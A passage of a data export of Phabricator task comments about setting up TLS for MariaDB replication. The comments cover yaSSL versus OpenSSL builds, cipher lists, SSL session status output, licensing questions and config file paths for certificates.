| Ssl_session_cache_timeouts     | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| Ssl_sessions_reused            | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| Ssl_used_session_cache_entries | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| Ssl_verify_depth               | 18446744073709551615                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| Ssl_verify_mode                | 5                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| Ssl_version                    | TLSv1.2                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+--------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
26 rows in set (0.00 sec)
```

Of course, please give me some time to properly validate this new mariadb package/version.",,,1447258332,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,6.0,11.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,2.0,6.0,2.0,0.0,0.0,4.09433962264151,0.8301886792452831,"This the result after linking to openssl, reinstalling and configuring the server with CODE. I tnink it has a more reasonable list of available ciphers:

``CODE``

Of course, please give me some time to properly validate this new mariadb package/version."
561593,Set up TLS for MariaDB replication,"Please note than I am aiming for OpenSSL integration and the recommend cipher (I've just recompiled and about to test the new package now). I wanted to know if we had a failback option (specially in cases where installing the new package may not be feasible, short term).",,,1447256144,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,0.0,0.0,0.0,0.0,2.0,11.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,7.0,2.0,9.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,7.0,4.0,9.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,7.0,12.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,0.8035714285714286,"Please note than I am aiming for OpenSSL integration and the recommend cipher (I've just recompiled and about to test the new package now). I wanted to know if we had a failback option (specially in cases where installing the new package may not be feasible, short term)."
561563,Set up TLS for MariaDB replication,">>! In T111654#1798891, @jcrespo wrote:
> @JanZerebecki @Dzahn how bad would it be to use one of the ciphers provided by yassl? 

The low DHE key size is probably the worse problem then. But enabling TLS with key verification and using any keys via puppet will make it easier to change the ciphers and keys for better ones. We need to expect to change keys and ciphers in the future anyway. Switching from yaSSL to openssl is a good idea as Moritz outlined. (yaSSL should probably not be used, it was replaced by wolfSSL.)",,,1447253528,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,1.0,0.0,0.0,2.0,1.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,13.0,0.0,4.0,1.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,11.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,13.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,4.0,4.0,0.0,0.0,3.9761904761904763,0.75,"QUOTE
QUOTE

The low DHE key size is probably the worse problem then. But enabling TLS with key verification and using any keys via puppet will make it easier to change the ciphers and keys for better ones. We need to expect to change keys and ciphers in the future anyway. Switching from yaSSL to openssl is a good idea as Moritz outlined. (yaSSL should probably not be used, it was replaced by wolfSSL.)"
561538,Set up TLS for MariaDB replication,"[Offtopic] BTW, that makes no sense, MySQL is not GPL, it is GPL + free software exception https://github.com/mysql/mysql-server/blob/5.7/README .

Ah, it may not apply for mariadb because they may be using other GPL-only components: https://github.com/MariaDB/server/blob/10.1/README",,,1447247912,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,0.0,0.0,0.0,0.0,4.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,7.0,4.0,9.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,7.0,3.422222222222222,0.7777777777777778,"[Offtopic] BTW, that makes no sense, MySQL is not GPL, it is GPL + free software exception URL .

Ah, it may not apply for mariadb because they may be using other GPL-only components: URL"
561537,Set up TLS for MariaDB replication,"[Offtopic] BTW, that makes no sense, MySQL is not GPL, it is GPL + free software exception https://github.com/mysql/mysql-server/blob/5.7/README .",,,1447247751,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,3.25,0.8333333333333334,"[Offtopic] BTW, that makes no sense, MySQL is not GPL, it is GPL + free software exception URL ."
561526,Set up TLS for MariaDB replication,"The OpenSSL license is incompatible to the GPL due to some poor phrasing back in the days when OpenSSL/SSLeay was founded: https://en.wikipedia.org/wiki/OpenSSL#Licensing

All other distributions except Debian (and as a consequence Ubuntu) don't generally care about that since the GPL has an exception for ""system libraries"" and OpenSSL is treated as one (hard to argue against that IMO). That's the approach SuSE/Novell and Red Hat have chosen and I'm fairly sure they've had ample legal scrutiny. Debian couldn't find a consensus until now (fortunately OpenSSL will move to the Apache2 license in the future) and as a consequence many GPLed programs are built with GNUTLS or where that is not possible even with TLS disabled (e.g. Squid). Thus mysql/mariadb is built with the internal yassl copy.

Since we're using a local, custom build of mariadb/mysql moving to openssl is preferable since it's more featureful and has seen a lot more scrunity and review than yassl (which is essentially only used by mysql/mariadb).

It also simplifies our updates, if there's a future crypto bug on the protocol level we would only need to deploy OpenSSL updates (and not wait how Oracle might fix it in yassl in the next Oracle quarterly update).

The commercial MySQL Enterprise binaries from Oracle are also built with OpenSSL (only the Comunity Edition for some reason uses yaSSL)",,,1447244726,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,1.3333333333333333,0.0,0.0,2.0,1.3333333333333333,8.0,1.0,0.0,0.0,0.3333333333333333,3.0,1.6666666666666667,0.0,1.0,0.3333333333333333,1.3333333333333333,0.0,7.666666666666667,11.666666666666666,0.0,0.6666666666666666,0.0,1.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,7.0,1.0,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,1.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,13.666666666666666,0.6666666666666666,0.6666666666666666,0.3333333333333333,1.0,0.0,0.0,0.0,0.6666666666666666,1.6666666666666667,0.0,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,0.0,0.0,6.666666666666667,3.0,13.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.3333333333333333,0.0,3.3333333333333335,11.666666666666666,8.333333333333334,0.0,0.6666666666666666,0.0,3.3333333333333335,0.0,1.3333333333333333,2.3333333333333335,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,4.141448189762797,0.7955056179775282,"The OpenSSL license is incompatible to the GPL due to some poor phrasing back in the days when OpenSSL/SSLeay was founded: URL

All other distributions except Debian (and as a consequence Ubuntu) don't generally care about that since the GPL has an exception for ""system libraries"" and OpenSSL is treated as one (hard to argue against that IMO). That's the approach SuSE/Novell and Red Hat have chosen and I'm fairly sure they've had ample legal scrutiny. Debian couldn't find a consensus until now (fortunately OpenSSL will move to the Apache2 license in the future) and as a consequence many GPLed programs are built with GNUTLS or where that is not possible even with TLS disabled (e.g. Squid). Thus mysql/mariadb is built with the internal yassl copy.

Since we're using a local, custom build of mariadb/mysql moving to openssl is preferable since it's more featureful and has seen a lot more scrunity and review than yassl (which is essentially only used by mysql/mariadb).

It also simplifies our updates, if there's a future crypto bug on the protocol level we would only need to deploy OpenSSL updates (and not wait how Oracle might fix it in yassl in the next Oracle quarterly update).

The commercial MySQL Enterprise binaries from Oracle are also built with OpenSSL (only the Comunity Edition for some reason uses yaSSL)"
561514,Set up TLS for MariaDB replication,"@JanZerebecki @Dzahn how bad would it be to use one of the ciphers provided by yassl? 

Debian doesn't like linking it to OpenSSL, it seems: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=787118",,,1447243633,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,10.0,13.0,7.0,3.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.066666666666666,0.9,"SCREEN_NAMESCREEN_NAME how bad would it be to use one of the ciphers provided by yassl? 

Debian doesn't like linking it to OpenSSL, it seems: URL"
561513,Set up TLS for MariaDB replication,"@JanZerebecki @Dzhan how bad would it be to use one of the ciphers provided by yassl? 

Debian doesn't like linking it to OpenSSL, it seems: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=787118",,,1447243592,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,10.0,13.0,7.0,3.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.066666666666666,0.9,"SCREEN_NAMESCREEN_NAME how bad would it be to use one of the ciphers provided by yassl? 

Debian doesn't like linking it to OpenSSL, it seems: URL"
561512,Set up TLS for MariaDB replication,"@JanZerebecki how bad would it be to use one of the ciphers provided by yassl? 

Debian doesn't like linking it to OpenSSL, it seems: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=787118",,,1447243498,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,10.0,13.0,7.0,3.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7,0.9,"SCREEN_NAME how bad would it be to use one of the ciphers provided by yassl? 

Debian doesn't like linking it to OpenSSL, it seems: URL"
561504,Set up TLS for MariaDB replication,"So, I am continuing with the operational tests (please understand that I have not yet solidified the ciphers, it was a test of configuration changes), and that I am using 1 time keys that were generated in an unsecured way (but are ok to use for tests because they are not used for authentication):

```
iron:~/software/dbtools/openssl$ mysql -h db2067.codfw.wmnet --ssl-ca=cacert.pem --ssl-cert=client-cert.pem --ssl-key=client-key.pem
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 746
Server version: 5.5.5-10.0.22-MariaDB-log MariaDB Server

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> SHOW SESSION STATUS LIKE '%Ssl%';
+--------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Variable_name                  | Value                                                                                                                                                                                                                                       |
+--------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Com_show_processlist           | 0                                                                                                                                                                                                                                           |
| Ssl_accept_renegotiates        | 0                                                                                                                                                                                                                                           |
| Ssl_accepts                    | 0                                                                                                                                                                                                                                           |
| Ssl_callback_cache_hits        | 0                                                                                                                                                                                                                                           |
| Ssl_cipher                     | DHE-RSA-AES256-SHA                                                                                                                                                                                                                          |
| Ssl_cipher_list                | DHE-RSA-AES256-SHA:AES256-SHA:DHE-RSA-AES128-SHA:AES128-SHA:AES256-RMD:AES128-RMD:DES-CBC3-RMD:DHE-RSA-AES256-RMD:DHE-RSA-AES128-RMD:DHE-RSA-DES-CBC3-RMD:RC4-SHA:RC4-MD5:DES-CBC3-SHA:DES-CBC-SHA:EDH-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC-SHA |
| Ssl_client_connects            | 0                                                                                                                                                                                                                                           |
| Ssl_connect_renegotiates       | 0                                                                                                                                                                                                                                           |
| Ssl_ctx_verify_depth           | 0                                                                                                                                                                                                                                           |
| Ssl_ctx_verify_mode            | 0                                                                                                                                                                                                                                           |
| Ssl_default_timeout            | 500                                                                                                                                                                                                                                         |
| Ssl_finished_accepts           | 0                                                                                                                                                                                                                                           |
| Ssl_finished_connects          | 0                                                                                                                                                                                                                                           |
| Ssl_server_not_after           | Oct 29 18:33:04 2016 GMT                                                                                                                                                                                                                    |
| Ssl_server_not_before          | Oct 30 18:33:04 2015 GMT                                                                                                                                                                                                                    |
| Ssl_session_cache_hits         | 0                                                                                                                                                                                                                                           |
| Ssl_session_cache_misses       | 0                                                                                                                                                                                                                                           |
| Ssl_session_cache_mode         | Unknown                                                                                                                                                                                                                                     |
| Ssl_session_cache_overflows    | 0                                                                                                                                                                                                                                           |
| Ssl_session_cache_size         | 0                                                                                                                                                                                                                                           |
| Ssl_session_cache_timeouts     | 0                                                                                                                                                                                                                                           |
| Ssl_sessions_reused            | 0                                                                                                                                                                                                                                           |
| Ssl_used_session_cache_entries | 0                                                                                                                                                                                                                                           |
| Ssl_verify_depth               | 0                                                                                                                                                                                                                                           |
| Ssl_verify_mode                | 0                                                                                                                                                                                                                                           |
| Ssl_version                    | TLSv1                                                                                                                                                                                                                                       |
+--------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
26 rows in set (0.03 sec)
```

Things I see immediately impacting is the default ssl timeout, which will force reconnection after 500 seconds. While that is not an issue for regular mw users (or replication, which sends pings and reconnects automatically), that could impact long-running idle connections (for good, I would say).

BTW: MySQL 5.7 added an utility to create self-signed keys and certs: https://dev.mysql.com/doc/refman/5.7/en/mysql-ssl-rsa-setup.html
Ssl_default_timeout            | 500

The reason for that limited cipher list is because we use a MariaDB package using YaSSL instead of openssl. I will need to recompile it to link it to openssl instead. Because of this, if we force ssl_cipher=TLSv1.2, ssl fails to start (but the server starts with ssl disabled). I think this is interesting to be documented in case we need to setup SSL with the current package.",,,1447242326,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,0.0,0.0,0.0,1.0,1.0,4.666666666666667,2.3333333333333335,1.3333333333333333,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,4.0,0.3333333333333333,3.6666666666666665,11.666666666666666,0.0,3.0,0.0,0.3333333333333333,0.0,1.0,0.6666666666666666,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,6.666666666666667,1.3333333333333333,1.3333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,2.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,11.666666666666666,1.6666666666666667,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,4.0,4.0,7.666666666666667,2.6666666666666665,2.0,6.333333333333333,0.0,0.0,0.0,0.0,4.666666666666667,0.3333333333333333,1.6666666666666667,0.0,5.333333333333333,11.666666666666666,2.6666666666666665,0.0,0.0,0.0,5.333333333333333,0.0,1.3333333333333333,1.6666666666666667,0.0,1.6666666666666667,0.0,0.0,0.0,4.035087719298246,0.75,"So, I am continuing with the operational tests (please understand that I have not yet solidified the ciphers, it was a test of configuration changes), and that I am using 1 time keys that were generated in an unsecured way (but are ok to use for tests because they are not used for authentication):

``CODE``

Things I see immediately impacting is the default ssl timeout, which will force reconnection after 500 seconds. While that is not an issue for regular mw users (or replication, which sends pings and reconnects automatically), that could impact long-running idle connections (for good, I would say).

BTW: MySQL 5.7 added an utility to create self-signed keys and certs: URL
Ssl_default_timeout            | 500

The reason for that limited cipher list is because we use a MariaDB package using YaSSL instead of openssl. I will need to recompile it to link it to openssl instead. Because of this, if we force ssl_cipher=TLSv1.2, ssl fails to start (but the server starts with ssl disabled). I think this is interesting to be documented in case we need to setup SSL with the current package."
561502,Set up TLS for MariaDB replication,"So, I am continuing with the operational tests (please understand that I have not yet solidified the ciphers, it was a test of configuration changes), and that I am using 1 time keys that were generated in an unsecured way (but are ok to use for tests because they are not used for authentication):

```
iron:~/software/dbtools/openssl$ mysql -h db2067.codfw.wmnet --ssl-ca=cacert.pem --ssl-cert=client-cert.pem --ssl-key=client-key.pem
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 746
Server version: 5.5.5-10.0.22-MariaDB-log MariaDB Server

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> SHOW SESSION STATUS LIKE '%Ssl%';
+--------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Variable_name                  | Value                                                                                                                                                                                                                                       |
+--------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Com_show_processlist           | 0                                                                                                                                                                                                                                           |
| Ssl_accept_renegotiates        | 0                                                                                                                                                                                                                                           |
| Ssl_accepts                    | 0                                                                                                                                                                                                                                           |
| Ssl_callback_cache_hits        | 0                                                                                                                                                                                                                                           |
| Ssl_cipher                     | DHE-RSA-AES256-SHA                                                                                                                                                                                                                          |
| Ssl_cipher_list                | DHE-RSA-AES256-SHA:AES256-SHA:DHE-RSA-AES128-SHA:AES128-SHA:AES256-RMD:AES128-RMD:DES-CBC3-RMD:DHE-RSA-AES256-RMD:DHE-RSA-AES128-RMD:DHE-RSA-DES-CBC3-RMD:RC4-SHA:RC4-MD5:DES-CBC3-SHA:DES-CBC-SHA:EDH-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC-SHA |
| Ssl_client_connects            | 0                                                                                                                                                                                                                                           |
| Ssl_connect_renegotiates       | 0                                                                                                                                                                                                                                           |
| Ssl_ctx_verify_depth           | 0                                                                                                                                                                                                                                           |
| Ssl_ctx_verify_mode            | 0                                                                                                                                                                                                                                           |
| Ssl_default_timeout            | 500                                                                                                                                                                                                                                         |
| Ssl_finished_accepts           | 0                                                                                                                                                                                                                                           |
| Ssl_finished_connects          | 0                                                                                                                                                                                                                                           |
| Ssl_server_not_after           | Oct 29 18:33:04 2016 GMT                                                                                                                                                                                                                    |
| Ssl_server_not_before          | Oct 30 18:33:04 2015 GMT                                                                                                                                                                                                                    |
| Ssl_session_cache_hits         | 0                                                                                                                                                                                                                                           |
| Ssl_session_cache_misses       | 0                                                                                                                                                                                                                                           |
| Ssl_session_cache_mode         | Unknown                                                                                                                                                                                                                                     |
| Ssl_session_cache_overflows    | 0                                                                                                                                                                                                                                           |
| Ssl_session_cache_size         | 0                                                                                                                                                                                                                                           |
| Ssl_session_cache_timeouts     | 0                                                                                                                                                                                                                                           |
| Ssl_sessions_reused            | 0                                                                                                                                                                                                                                           |
| Ssl_used_session_cache_entries | 0                                                                                                                                                                                                                                           |
| Ssl_verify_depth               | 0                                                                                                                                                                                                                                           |
| Ssl_verify_mode                | 0                                                                                                                                                                                                                                           |
| Ssl_version                    | TLSv1                                                                                                                                                                                                                                       |
+--------------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
26 rows in set (0.03 sec)
```

Things I see immediately impacting is the default ssl timeout, which will force reconnection after 500 seconds. While that is not an issue for regular mw users (or replication, which sends pings and reconnects automatically), that could impact long-running idle connections (for good, I would say).

BTW: MySQL 5.7 added an utility to create self-signed keys and certs: https://dev.mysql.com/doc/refman/5.7/en/mysql-ssl-rsa-setup.html
Ssl_default_timeout            | 500

The reason for that limited cipher list is because we use a MariaDB package using YaSSL instead of openssl. I will need to recompile it to link it to openssl instead. Because of this, if we force ssl_cipher=TLSv1.2, ssl fails to start (but the server starts with ssl disabled).",,,1447242063,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,18,True,0.0,0.0,0.0,0.6666666666666666,1.0,3.6666666666666665,1.6666666666666667,1.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,3.0,0.3333333333333333,3.6666666666666665,10.333333333333334,0.0,2.0,0.0,0.3333333333333333,0.0,1.0,0.6666666666666666,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,5.333333333333333,1.0,1.3333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,2.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,11.666666666666666,1.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,3.6666666666666665,3.0,7.666666666666667,2.6666666666666665,2.3333333333333335,5.666666666666667,0.0,0.0,0.0,0.0,4.0,0.3333333333333333,2.0,0.0,4.666666666666667,10.333333333333334,2.3333333333333335,0.0,0.0,0.0,4.666666666666667,0.0,1.3333333333333333,1.6666666666666667,0.0,1.6666666666666667,0.0,0.0,0.0,4.034920634920636,0.7983436853002072,"So, I am continuing with the operational tests (please understand that I have not yet solidified the ciphers, it was a test of configuration changes), and that I am using 1 time keys that were generated in an unsecured way (but are ok to use for tests because they are not used for authentication):

``CODE``

Things I see immediately impacting is the default ssl timeout, which will force reconnection after 500 seconds. While that is not an issue for regular mw users (or replication, which sends pings and reconnects automatically), that could impact long-running idle connections (for good, I would say).

BTW: MySQL 5.7 added an utility to create self-signed keys and certs: URL
Ssl_default_timeout            | 500

The reason for that limited cipher list is because we use a MariaDB package using YaSSL instead of openssl. I will need to recompile it to link it to openssl instead. Because of this, if we force ssl_cipher=TLSv1.2, ssl fails to start (but the server starts with ssl disabled)."
555964,Set up TLS for MariaDB replication,">>! In T111654#1770311, @jcrespo wrote:
> * We hit a recent bug by which [[ https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=788905 | mysql and mariadb has hardcoded 512-sizedh ephemeral keys ]],

The cipher suggested above uses ECDHE not DHE, so this doesn't need to be fixed for us, if the suggested cipher works. ",,,1446317921,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,17,True,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,17.0,7.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,13.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8666666666666667,"QUOTE
QUOTE

The cipher suggested above uses ECDHE not DHE, so this doesn't need to be fixed for us, if the suggested cipher works. "
555675,Set up TLS for MariaDB replication,"The puppetization tasks are trivial, but they cannot be done until the previous problem is solved.
* Modify /etc/my.cnf

on the [client] section:

```
#ssl
ssl-ca=/etc/mysql/ssl/cacert.pem
ssl-cert=/etc/mysql/ssl/client-cert.pem
ssl-key=/etc/mysql/ssl/client-key.pem
```

on the [mysqld] section:


```
# ssl
ssl-ca=/etc/mysql/ssl/cacert.pem
ssl-cert=/etc/mysql/ssl/server-cert.pem
ssl-key=/etc/mysql/ssl/server-key.pem
```

* create directory /etc/mysql/ssl/ and the following files, owned by mysql, group root, 640 rights from the private repository:
```
cacert.pem
client-cert.pem
client-key.pem
server-cert.pem
server-key.pem
```

